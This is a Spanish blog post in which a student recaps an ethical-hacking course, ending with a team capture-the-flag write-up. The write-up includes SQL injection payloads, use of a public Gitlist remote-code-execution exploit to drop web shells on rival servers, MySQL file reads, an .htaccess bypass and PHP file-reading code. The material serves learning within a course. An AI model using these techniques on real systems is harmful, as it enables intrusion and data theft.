TAREA FINAL

Bueno, con gran pena por mi parte hemos llegado al final del Curso de Hacking Etico de Mondragon Unibertsitatea y en esta Tarea Final voy a recoger todas las actividades que he realizado durante el curso:

Unidad 1, Tarea 1.

Podeis ver AQUÍ la Tarea. En ella aprendí que el primer paso para llevar a cabo un ataque de hacking es la recopilación de información del sistema a atacar y aprendí a utilizar algunas de las herramientas mas interesantes en ese sentido como son: PING, WHOIS y NMAP.

Unidad 1, Tarea 2.

Podeis ver AQUÍ la Tarea. En ella di a conocer tres sitios web relacionados con la tematica Hacking que suelo visitar habitualmente.

Unidad 1, Tarea 3.

Podéis ver AQUÍ la Tarea. Esta tarea fue nuestra introducción a la Criptografía y para realizarla conté con la colaboración de mi compañera de curso Inmaculada Rodríguez.

Aprendí en qué consiste el sistema de cifrado OpenPGP, a crear mi propio certificado con el software Kleopatra y realicé la practica de enviar un mensaje encriptado a mi compañera y la de desencriptar una mensaje que ella me habia enviado a mi.

Unidad 2, Tarea 1.

Podéis ver AQUÍ la Tarea. En esta tarea hemos aprendido qué es un Sniffer, se trata de un programa que aprovechando la capacidad de nuestra tarjeta de red para trabajar en modo “promiscuo” va interceptando todos los paquetes que viajando por la red pasan por la tarjeta, incluso aunque estos nos vayan dirigidos a nosotros.

Uno de los Sniffers mas conocidos es el Wireshark y con el hemos realizado una practica consistente en analizar los paquetes capturados durante una sesión de Telnet.

Telnet es un protocolo utilizado para conectarnos remotamente a un servidor y desde el punto de vista de la seguridad es un protocolo muy débil ya que envía la información sin encriptar a través de la red. Esto ha quedado patente, ya que analizando los paquetes capturados por el sniffer no ha sido difícil obtener datos como el usuario y password o los comandos utilizados durante la sesión de Telnet, así como el sistema operativo de la maquina.

Unidad 2, Tarea 2.

Podéis ver AQUÍ la Tarea. Esta tarea me ha resultado de las mas interesantes y en ella hemos trabajado y aprendido varios conceptos. La Tarea consistía en realizar a un ataque mediante la técnica de SQL Injection con el objetivo de conseguir el usuario y password necesarios para hacer login en una web.

Lo primero que hemos tenido que hacer ha sido preparar el servidor a atacar. Hemos utilizado el software Virtual Box para instalar en nuestro propio equipo una maquina virtual que hará de servidor de la web que debemos hackear.

Este servidor aloja una web afectada por un fallo de seguridad, debido a que su programador no ha tenido en cuenta que un usuario malintencionado puede aprovechar el formulario de login para inyectar condigo SQL y provocar un funcionamiento indebido de la Web.

Siguiendo las instrucciones de la Tarea hemos ido realizando diversas consultas a la base de datos de la web, de esta forma hemos ido conociendo datos sobre la estructura de la Base de Datos, sus Tablas y finalmente hemos conseguido los usuarios y contraseñas que buscábamos, eso si, las contraseñas estaban encriptadas con lo que (de momento) no nos servían de mucho.

Por ultimo hemos aprendido a utilizar el programa John the Ripper con el cual hemos podido desencriptar por el método de Fuerza Bruta las passwords obtenidas anteriormente.

Unidad 2, Tarea 3.

Podéis ver AQUÍ la Tarea. En esta tarea hemos aprovechado el reciente caso del hackeo sufrido por la empresa de Seguridad Informática Hacking Team para reflexionar sobre la Ética Hacker.

He hecho un resumen del caso y he analizado las distintas motivaciones que han podido llevar a cada uno de los actores a actuar de la forma en que lo ha hecho, llegando a la siguiente conclusión:

Como conclusión, podemos decir que las herramientas de hacking en sí no son buenas ni malas, si no que al igual que ocurre con el fuego o la energía atómica, está en las manos del ser humano el hacer buen o mal uso de ellas. Aunque exista una “filosofía hacker” según la cual el objetivo de los ataques de hacking debe ser el estudio y la mejora de los sistemas y nunca  el hacer daño por que sí u obtener beneficio personal (dinero, fama…), hay que pensar que la Seguridad Informática es un negocio multimillonario que puede hacer que los fines altruistas queden relegados a un segundo plano. Si lo pensamos bien no es tan raro, no hay mas que pensar en sectores como el de la sanidad (farmacéuticas, etc) o la alimentación.

Unidad 2, Tarea 4.

Podéis ver AQUí la Tarea. Esta Tarea 4 de la Unidad 2 del Curso de Hacking Etico de Mondragon Unibertsitatea que consiste en realizar un pequeño resumen de las tareas 1, 2 y 3 de esta Unidad.

Unidad 2, ENIGMA.

El enigma consistÍa en descifrar un archivo (enigma.txt.pgp) que se encontraba encriptado mediante un protocolo asimétrico, eso significaba que no se requerían una clave publica y una privada, si no una única clave.

Para obtener esa clave debíamos hackear la web http://pruebas.euskalert.net y como nos advertía Yoda la clave se encontraba dentro de la Tabla Guestbook.

Asi que todo apuntaba a que la técnica a utilizar seria la de SQL Injection, así que sigo las instrucciones de la Tarea 2 de la Unidad 2.

El primer paso fue loguearnos (admin/password) en la web y bajar el nivel de seguridad a LOW.

Enigma01

Después entramos en el apartado de SQL Injection y comenzamos a inyectar código SQL para ir obteniendo información sobre la estructura y las tablas de la Base de Datos.

Introduciendo el siguiente código obtenemos el listado de tablas de la Base de Datos, en el que vemos como efectivamente hay una tabla denominada guestbook.

  • %’ and 1=0 union select null, table_name from information_schema.tables #

Enigma02

Con el siguiente código obtenemos los campos de la tabla guestbook, que son comment_id, comment y name.

  • %’ and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = ‘guestbook’ #

Enigma03

Con el siguiente código vamos a ver los registros que contiene la tabla guestbook y entre ellos vemos un comentario que dice los siguiente: The key is “use the force”, Luke. que podríamos traducir como: La clave es “use the force”, Luke. Así que parece que esta podría ser la clave necesaria para desencriptar el archivo enigma.txt.pgp.

  • %’ and 1=0 union select null, concat(comment_id,0x0a,comment,0x0a,name,0x0a) from guestbook #

Enigma04

Ahora abrimos el programa Kleopatra, vamos a File, Decrypt/Verify Files y seleccionamos el archivo enigma.txt.pgp. y cuando nos lo pida introduciremos la contraseña use the force. Como todo ha ido bien obtenemos el mensaje de Decryption Succeeded!!!.

Enigma05

Y en el directorio que hemos seleccionado previamente nos encontramos con el archivo (enigma.txt) desencriptado que contiene el siguiente mensaje:

Enigma06

ENIGMA RESUELTO!!!!

Unidad 3: EL RETO.

Por fin llegamos al apartado final del curso, en el que debemos mostrar los conocimientos adquiridos (y muchos mas…).

Tengo que decir que ha sido instructivo, divertido y sobre todo un placer participar en este RETO con mis compañeros de grupo de los que he aprendido un monton y con los que he comenzado una cyber-amistad que espero se mantenga en el tiempo.

Nuestro grupo lo bautizamos como RH- HE y lo formamos siguiendo criterios geograficos. Sus miembros son:

  • Jon Villate (yo)
  • Josu Barandalla
  • Kepa Balenciaga (Lider)
  • Ramon Nafarrate Ormaetxea
  • Igor Gaminde
  • Ladis Calparsoro
  • Itoitz Biain Arakistain
  • Unai Larrañaga

Nuestro servidor tenia asignada la IP: 128.199.56.199.

SEMANA 1 DEFENSA

La primera semana del RETO consistía en estudiar nuestro propio servidor e intentar reforzarlo todo lo posible para evitar ser Hackeados. Concretamente debíamos proteger 3 archivos y para ello realizamos las siguientes acciones.

Lo primero que hago es comprobar que tengo acceso al servidor. Con el software Putty me conecto a la IP por SSH y me logueo como root sin problema.

Ahora intentare obtener algunos datos del sistema: dmesg | less

Linux version 3.2.0-4-686-pae (debian-kernel@lists.debian.org) (gcc version 4.6.3 (Debian 4.6.3-14) ) #1 SMP Debian 3.2.65-1+deb7u1

Vamos a hacer un pequeño diagnostico del estado del servidor a través de la consola SSH:

  • uname -a: nos dice la version de kernel, procesador, y nombre de sistema

Reto03

  • df: nos muestra la ocupación del disco duro y vemos que no hay problemas de espacio.

Reto04

  • free: nos muestra el uso de la memoria y tampoco hay problemas de memoria.

Reto05

  • netstat -a: nos muestra las conexiones de red actuales

Reto02

Ahora iré probando las técnicas que hemos ido aprendiendo durante el curso de Hacking Ético.

  • PING: El ping a la dirección IP del servidor responde. Como medida de seguridad privacidad se podría deshabilitar la respuesta a PING, aunque para este caso concreto del reto no tiene mucho sentido ya que a nuestros enemigos se les facilitara nuestra IP y saben de cierto que tras ella se encuentra una maquina que tienen que atacar.
  • WHOIS: esta herramienta no tiene cabida en este reto ya que no tenemos ningún dominio registrado asociado a nuestro servidor.
  • NMAP: El resultado de un NMAP básico es este:

Reto01

Como vemos, nuestro servidor tiene 4 puertos abiertos (857 cerrados y 139 filtrados), estos son:

  • 21 FTP: El puerto 21 es el utilizado para el protocolo FTP (File Transfer Protocol). Se trata de un protocolo utilizado para la transferencia de ficheros entre 2 maquinas, una de las cuales hace de servidor y la otra de cliente. Se trata de un protocolo muy eficiente de cara a la velocidad de transferencia (siempre utiliza la máxima velocidad disponible). Sin embargo desde el punto de vista de la seguridad es un protocolo muy débil ya que todo el trasiego de información (incluido usuario y password) viajan en texto plano sin encriptar con lo que si alguien captura el trafico obtendría sin problema los datos de acceso. Un primer paso podría ser proteger este servicio.

También compruebo que esta habilitado el FTP anónimo, esto es que cualquiera que se conecte a nuestro servidor por FTP podrá acceder a uno de los archivos del Reto, así que configuramos el FTP para que pida usuario y contraseña.

  • 22 SSH: El puerto 22 es el utilizado habitualmente el protocolo SSH (Secure Shell), se trata de un protocolo para acceder a maquinas remotas a través de la red y poder trabajar en ellas como si físicamente estuviéramos allí. La información que se intercambia viaja por la red de forma cifrada. Es posible atacar este protocolo mediante ataques de REPLAY.
  • 80 HTTP: El puerto 80 se utiliza habitualmente para el protocolo HTTP (HyperText Transfer Protocol) lo que conocemos popularmente como servicio web, es un protocolo para que un cliente pueda acceder a las paginas web alojadas en un servidor.
  • 1720 H323Q931: El protocolo H323 es utilizado para sesiones de comunicación audiovisual a través de la red, comúnmente sesiones de video conferencia, llamadas por de Voz-IP. Este protocolo es utilizado habitualmente por programas como Netmeeting. El Q931 es un protocolo de control de las conexiones de telefonía digital.

Ademas de todo esto, la organización del RETO nos informa de que nuestro servidor tiene instaladas 2 aplicaciones Web:

  • Cacti: Se trata de una aplicación que tiene una base de datos en la que los datos se van guardando de forma cronológica y luego la aplicación permite generar distintos tipos de gráficas con los datos almacenados. La forma de acceder a nuestro Cacti es http://128.199.56.199/cacti/index.php aunque no tenemos usuario y contraseña…
  • GitList: Parece tratarse de un Visor web de repositorios para gestionar las distintas versiones de un programa. Para acceder http://128.199.56.199/gitlist/ . No pide logearse.

Acciones de Defensa.

  • Lo primero que hicimos fue actualizar el servidor con el comando apt-get upgrade, ademas con esto el Gitlist tambien fue actualizado.
  • Deshabilitamos el usuario anonymous del FTP. Con esta acción protegiamos directamente uno de los archivos a conseguir, el mooc-hacking-team-0021-level-02.gpg.
  • Siguiendo las instrucciones del Consejo Jedi personalizamos la web de nuestro servidor.
  • Buscamos los archivos a proteger que se encontraban en:
    1. /srv/ftp/mooc-hacking-team-0021-level-02.gpg
    2. /usr/share/doc/base-files/mooc-hacking-team-0021-level-01.gpg
    3. /var/lib/mysql/mooc-hacking-team-0021-level-03.gpg
  • Modificamos las contraseñas de los servicios:
    1. ssh=> user: root pass: ***aiextin***
    2. mysql => user:root pass:***aiextin***
    3. cacti => user:admin pass:***aiextin***
  • Actualizamos Cacti a la versión 0.8.8f.

SEMANA 2. ATAQUE.

Sabiendo que las maquinas enemigas eran idénticas a la nuestra nos lanzamos al ataque a por los archivos que sabíamos donde se encontraban.

  • Comenzamos recorriendo los servidores en busca del usuario anonymous activo en los FTP, de esta forma conseguimos uno de los archivos en bastantes servidores.
  • La siguiente acción consistió en buscar servidores cuya versión de Gitlist fuera inferior a la 0.4 ya que estos Gitlist están afectados por una vulnerabilidad que permite la ejecución de código remotamente. Para ello utilizamos el script https://www.exploit-db.com/exploits/33929/ que nuestro compañero  Itoitz subió al servidor, al directorio /root con el nombre atack1.

Se invoca de la siguiente manera desde la línea de comandos: 

root@team-0021:~# python atack1 http://188.166.125.226/gitlist/gitlist

Lo que responde lo siguiente:

Using cache location /var/www/gitlist/cache

Shell dropped; go hit http://188.166.125.226/gitlist/cache/l.php?cmd=ls

Ahora desde el navegador accedes a esta dirección:

http://188.166.125.226/gitlist/cache/l.php?cmd=ls

Y os mostrará la lista de ficheros de la carpeta. si detrás de cmd pones cualquier comando de linux os mostrará el resultado. Por ejemplo para ver los archivos que hay en /srv/ftp:

http://188.166.125.226/gitlist/cache/l.php?cmd=ls /srv/ftp

y nos muestra:

mooc-hacking-team-0055-level-02.gpg

y ahora para ver su contenido

http://188.166.125.226/gitlist/cache/l.php?cmd=cat /srv/ftp/mooc-hacking-team-0055-level-02.gpg

Con este ataque se consiguieron 69 archivos de nivel uno y dos de varios equipos.

  • La siguiente acción tiene como objetivo la obtención de los archivos de nivel 3, para ello necesitamos privilegios de mysql por eso utilizaremos consultas en mysql para obtener la información.

El usuario,contraseña y nombre de base de datos lo sacamos de /usr/share/cacti/site/include/config.php utilizando el primer ataque.

Una vez que tengamos usuario,contraseña y nombre de la base de datos ya podemos hacer consultas en mysql.

Las consultas que haremos son las siguientes:

1.- Crear una tabla con nombre TEMP donde guardaremos los datos

create table temp(a blob)”;

2.- Llenar la tabla con los datos que nos interesan por ejemplo

LOAD DATA INFILE /var/lib/mysql/mooc-hacking-team-0071-level-03.gpg INTO TABLE temp;

3.- Leer los datos que hay en la tabla

SELECT * FROM temp;

4.- Borrar la tabla para que otros no la vean

DROP TABLE temp;

Todo esto se puede hacer uno a uno por comandos pero por facilitar la tarea nuestro compañero Itoitz ha creado el script “atack3”

Se usa de la siguiente manera:

python atack3 178.62.246.186

Da como resultado:

Using cache location /var/www/gitlist/cache

Shell dropped; go hit http://178.62.246.186/gitlist/cache/d.php

Y ahora accedemos desde navegador a:

http://178.62.246.186/gitlist/cache/d.php

Que nos mostrará el contenido del archivo:

/var/lib/mysql/mooc-hacking-team-0071-level-03.gpg —–BEGIN PGP MESSAGE—–Version: GnuPG v1hQEMAwTqD96R8ATzAQf/ewN8cSE3i5qPUg6apopzDSnISlMpOfjvrY9NIq80nei6lccQYgm+2rA5yB7tKPNxdF8XslPLQI5KVOKbnqneczo7nBP8q7Fq0trMc1VZ6trLmlW3Ec7elc5gUKx2hBnOCGZro9SVkC3e9YrjhChaM5JV4HmNyN4FAp/l3crp/o03JhnE6rz15u6BFXnGvgoj3TGv0At2/LcVxI5WcaebrFmdndzH+DoRMSpeiEWaNuMJW+onu5lwjvH3M93Vo2dbXJ9J0OaD9qZ5/nPRz1gRijdCvJrgSgsoUQoVUtGlFFKpoybt1cLUtFNjbNk2c1KypCz42keR/UVOlSBk0GS+JdLA6QEQ4BrUxrL3uqkhxWtxBXImmsCX9/2WIxx5k/zVKyYDn1XOQmr/TRb12AXOToqgoKDD/JV5o1TYj0p2EdL3IqfEk5HkDGSw+DVcTDu9glJZtS/e3l7hKWJ41zR4ioxNSIgLs/zBGCNVnzLBe+VAQooSAjyRXz6QGBOXBToN+4vm+eTS3ttOV8xmOOMSOVNMZP4olM2+pWmdUmGSadX/A+cKelMtYbQgTMw++3CqGGJpHsOHAJRnPGw+/FmvzB34xNA013UpifP8NB4YMPbCQPxinsO/Qw6BtqjT5KnDGGvraffkG/sSRXf7kBZlTcpPg+2RYERCE1gbBl7kPs5Ie/UBKqEhmGK1uCV0aAD5q1HedEqKWRf5enBnfxwhOfS5uV039KbXw72VVf1S08Rlw1pfgYY/0RGsx47gPwygOQmyXmOA902dVFuFx84FjXeVgWqBkgbLaUj2CwMfsi0AdeG/bLzLKAQAJXhGYDtoqn8ZZC8FvQvFIuaswd4DFo2g/VpNGhAvGbZaz37iUMmQQ+jM7IGdjhuvmN59BnQKADBct/BFjXvmTufl=gZ4b—–END PGP MESSAGE—–

  • Por ultimo realizamos un ataque concreto al grupo BOUNTY HUNTERS en venganza por su acción de “Deface” a nuestro servidor.

El ataque que hacemos con el script “atack1” (el de nuestra segunda acción) se basa en la vulnerabilidad que tiene gitlist que permite escribir y leer archivos en la carpeta /var/www/gitlist/cache.

Los de este equipo habían deshabilitado los permisos de lectura desde el servidor web Apache para no poder leer los archivos de esa carpeta con lo cual el ataque ya no funciona y queda protegido. O eso pensaban…..

Aun y todo el servidor permitía subir archivos con lo cual hicimos lo siguiente:

Modificar el atack1 para subir un archivo con nombre “.htaccess

“.htaccess” define los permisos de esa carpeta para el servidor

E incluir dentro lo siguiente:

<Files ~ “^\.ht”>

Order allow,deny

Allow from all

</Files>

Esto le dice al servidor que nos deje leer los archivos que empiecen con “.ht”, así que ahora ya nos podemos saltar la restricción de lectura que habían puesto en el servidor. Ahora toca hacer el atack1 pero con el siguiente nombre “.htl.php” para que el nombre empieze con “.ht” y podamos ejecutarlo.

El siguiente problema es que en PHP también han deshabilitado un montón de funciones y comandos. Por lo tanto no deja hacer muchas cosas como: ls, cat, cmd, execetc..

la lista completa de lo que no está permitido se obtiene con.

$disabled_functions = ini_get(‘disable_functions’);

Así que nos hemos tenido que hacer nuestras funciones ls, cat etc.. en php. Por ejemplo “ls” quedaria asi:

<?php

$dir = ‘$nombre_directorio’;

$files1 = scandir($dir);

print_r($files1);

?>

y el “cat” quedaria tal que asi:

<?php

$file = fopen(“$nombre_directorio”,”r”);

while(! feof($file))

{

echo fgets($file). “<br />”;

}

fclose($file);

?>

Ahora ya podemos ver los directorios y leer el contenido de los archivos.

Con esto finaliza mi participación en el Curso de Hacking Ético de Mondragon Unibertsitatea. Dar las gracias Mondragon Unibertsitatea, al resto de participantes y sobre todo a mis compañeros del grupo RH- HE.

TAREA FINAL

Leave a comment